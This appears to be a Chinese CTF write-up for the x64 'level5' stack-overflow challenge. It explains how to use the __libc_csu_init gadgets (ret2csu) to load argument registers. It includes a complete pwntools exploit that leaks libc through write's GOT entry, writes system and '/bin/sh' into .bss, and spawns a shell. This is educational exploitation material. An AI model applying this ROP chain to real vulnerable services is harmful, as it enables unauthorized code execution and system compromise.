通用gadget_libc_csu_init的使用

蒸米 栈溢出的x64位 level5 wp

_libc_csu_init函数是程序调用libc库用来对程序进行初始化的函数,一般先于main函数执行
而我们则是要利用_libc_csu_init其中两端特殊的gadget

image.png

gadget 位于 0x400600 和 0x40061a地址
先借用0x40061a 处的gadget 将想要压入寄存器的参数压入
顺序依次 rbx rbp r12 r13 r14 r15 特别是rbx=0 rbp=1 r12=target_function
然后再调用 0x400600处的gadget将 r13 r14 r15 的值和rdx rsi edi交换

这个通用gadget中还隐藏着两个常用的gadget,我们可以通过错位码来得到它


image.png
image.png

通过 0x400621和0x400623获得了pop rsi _r15 和pop_rdi两个gadget ,就可以轻松调用两个参数的函数了

payload:

payload = junk + p64(0x40061a) + p64(rbx)+ p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload +=p64(0x400600) # mov r13 rdx;mov r14 rsi ; mov r15 edi;
payload +='a'*0x38  
#填充0x38个字符 控制rsp指向我们想要返回的函数地址
>payload +=p64(return_add)

解题思路

  1. 利用write函数泄露出libc内存空间的信息
  2. 通过泄露的信息获得execve函数的地址
  3. 将execve函数的地址和参数"/bin/sh\x00"一起写入bss section中
  4. 通过gadget 的call (r12,rbp,8) 调用execve函数

exp:

from pwn import*  
  
p = process('./leve52')  
elf = ELF('./leve52')  
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')  
  
write_got = elf.got['write']  
write_plt = elf.symbols['write']  
read_got = elf.got['read']  
read_plt = elf.symbols['read']  
bss = elf.bss()  
start = 0x40061a  
end = 0x400600  
main = elf.symbols['main']  
  
junk = 'a'*(0x80+8)  
fakeebp = 'a'*8  
  
def csu(rbx, rbp, r12, r13, r14, r15, last):  
    # pop rbx,rbp,r12,r13,r14,r15  
    # rbx should be 0,  
    # rbp should be 1,enable not to jump  
    # r12 should be the function we want to call  
    # rdi=edi=r15d  
    # rsi=r14  
    # rdx=r13  
    payload = 'a' * 0x80 + fakeebp  
    payload += p64(start) + p64(rbx) + p64(rbp) + p64(r12) + p64(  
        r13) + p64(r14) + p64(r15)  
    payload += p64(end)  
    payload += 'a' * 0x38  
    payload += p64(last)  
    p.send(payload)  
    sleep(1)  
  
print "*************leak write_add**********"  
write_lib = libc.symbols['write']  
print "write_lib --> [%s] "%write_lib  
  
p.recvuntil("Hello, World\n")  
csu(0,1,write_got,8,write_got,1,main)  
  
write_add = u64(p.recv(8))  
print "write_add --> [%s]" %hex(write_add)  
  
lib_base = write_add - write_lib  
print "libc base --> [%s]" %hex(lib_base)  
system_add = lib_base + libc.symbols['system'] # system can not work up  
print "system_add --> [%s]" %hex(system_add)  
  
  
print "************write address and \'\bin\sh'\'***************"  
payload = junk + p64(start) + p64(0) + p64(1) + p64(read_got) + p64(16) + p64(bss) + p64(0)  
payload += p64(end)  
payload += 'a'*0x38  
payload +=p64(main)  
  
  
p.recvuntil('Hello, World\n')  
p.send(payload)  
p.send(p64(system_add)+'/bin/sh\x00')  
  
  
payload = junk + p64(start)  
payload += p64(0) + p64(1) + p64(bss) + p64(0) + p64(0) + p64(bss+8)  
payload += p64(end)  
payload += 'a'*0x38  
payload +=p64(main)  
p.recvuntil('Hello, World\n')  
p.send(payload)  
  
p.interactive()  

你可能感兴趣的:(通用gadget_libc_csu_init的使用)